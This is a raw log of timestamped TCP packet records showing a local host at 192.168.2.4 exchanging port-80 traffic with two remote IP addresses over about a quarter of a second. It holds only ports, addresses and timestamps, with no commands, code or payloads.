Dec 21, 2024 10:15:43.505537033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.505707979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.506907940 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.506943941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.507003069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.507694006 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.508378983 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.508608103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.508666992 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.509845972 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.509910107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.510082006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.510147095 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.511215925 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.511251926 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.511280060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.511311054 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.512557030 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.512636900 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.512690067 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.513885975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.513950109 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.514034986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.514130116 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.515358925 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.515393019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.515454054 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.516587019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.516649008 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.516720057 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.516767979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.517932892 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.518027067 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.518132925 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.518182993 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.519268990 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.519303083 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.519342899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.519381046 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.520503998 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.520553112 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.520638943 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.520699978 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.521795034 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.521847010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.521892071 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.522072077 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.523035049 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.523128986 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.523134947 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.523206949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.524311066 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.524391890 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.524470091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.524600029 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.525574923 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.525629997 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.525636911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.525676966 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.526865959 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.526916981 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.527029991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.527081013 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.528023958 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.528141022 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.528182030 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.528239012 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.529278040 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.529339075 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.529433966 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.529508114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.530477047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.530533075 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.530631065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.530679941 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.531649113 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.531709909 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.531925917 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.532252073 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.532959938 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.532994032 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.533020973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.533039093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.534111977 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.534146070 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.534161091 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.534185886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.535258055 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.535301924 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.535371065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.535423040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.536448002 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.536565065 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.536604881 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.536624908 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.537615061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.537674904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.537708998 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.537873030 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.538758993 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.538811922 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.538944006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.538990974 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.539940119 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.539994955 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574244976 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574300051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574347973 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574346066 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574346066 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574455023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574769020 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574801922 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574841976 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574855089 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.574863911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.574906111 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.575745106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.575779915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.575814009 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.575845003 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.575877905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.576708078 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.576741934 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.576771021 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.576776028 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.576792955 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.576827049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.577666998 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.577701092 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.577733994 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.577734947 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.577755928 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.577773094 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.578592062 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.578643084 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.578675032 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.578701019 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.578731060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.579545975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.579598904 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.579603910 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.579633951 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.579662085 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.579683065 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.580507994 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.580559969 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.580563068 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.580595970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.580610037 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.580646992 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.581499100 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.581552982 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.581567049 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.581600904 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.581650972 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.582493067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.582526922 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.582555056 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.582564116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.582573891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.582614899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.583396912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.583451033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.583451986 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.583484888 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.583511114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.583533049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.584377050 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.584429026 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.584450960 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.584464073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.584489107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.584510088 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.585382938 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.585417986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.585453033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.585475922 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.585509062 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.586285114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.586338043 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.586373091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.586401939 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.586431980 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.587254047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.587306976 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.587328911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.587354898 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.587361097 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.587402105 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.588237047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.588273048 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.588294983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.588306904 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.588320971 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.588359118 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.589243889 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.589282036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.589308023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.589317083 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.589330912 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.589373112 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.590079069 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.590133905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.590172052 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.590207100 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.590223074 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.590269089 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.591116905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.591150999 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.591178894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.591186047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.591201067 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.591242075 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.592014074 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.592067003 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.592070103 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.592102051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.592125893 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.592149973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.593005896 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.593060970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.593061924 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.593096972 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.593120098 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.593143940 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.594059944 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.594093084 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.594120979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.594129086 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.594141960 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.594181061 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.594928980 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.594988108 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.595263004 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.595297098 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.595331907 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.595349073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.595352888 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.595402956 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.596227884 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.596275091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.596296072 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.596309900 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.596322060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.596368074 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.597179890 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.597232103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.597233057 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.597270012 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.597280979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.597320080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.598176003 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.598210096 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.598227024 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.598247051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.598263025 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.598304033 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.599138021 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.599172115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.599195004 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.599256992 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.599289894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.599339008 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.599988937 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.600042105 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.600059032 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.600095034 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.600121021 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.600140095 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.600934982 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.600990057 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.600991964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.601025105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.601042986 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.601079941 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.601972103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.602025032 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.602029085 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.602061033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.602085114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.602104902 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.602972031 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603035927 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603039026 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.603072882 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603087902 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.603126049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.603815079 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603867054 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.603871107 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603909969 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.603925943 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.603961945 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.604819059 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.604854107 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.604875088 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.604887962 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.604906082 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.604950905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.619333029 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619391918 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619426966 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619519949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.619808912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619872093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.619896889 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619930983 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.619951010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.619987965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.620853901 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.620915890 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.627244949 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.627393007 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.628432035 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748109102 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748228073 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748259068 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748270988 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748291016 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748291969 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748338938 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748348951 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748354912 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748382092 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748426914 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748516083 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748560905 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748569965 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748590946 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748622894 CET	80	49851	185.121.15.192	192.168.2.4
Dec 21, 2024 10:15:43.748625994 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748636961 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.748686075 CET	49851	80	192.168.2.4	185.121.15.192
Dec 21, 2024 10:15:43.766639948 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.766680002 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.766716957 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.766752005 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.766762018 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.766874075 CET	49844	80	192.168.2.4	31.41.244.11
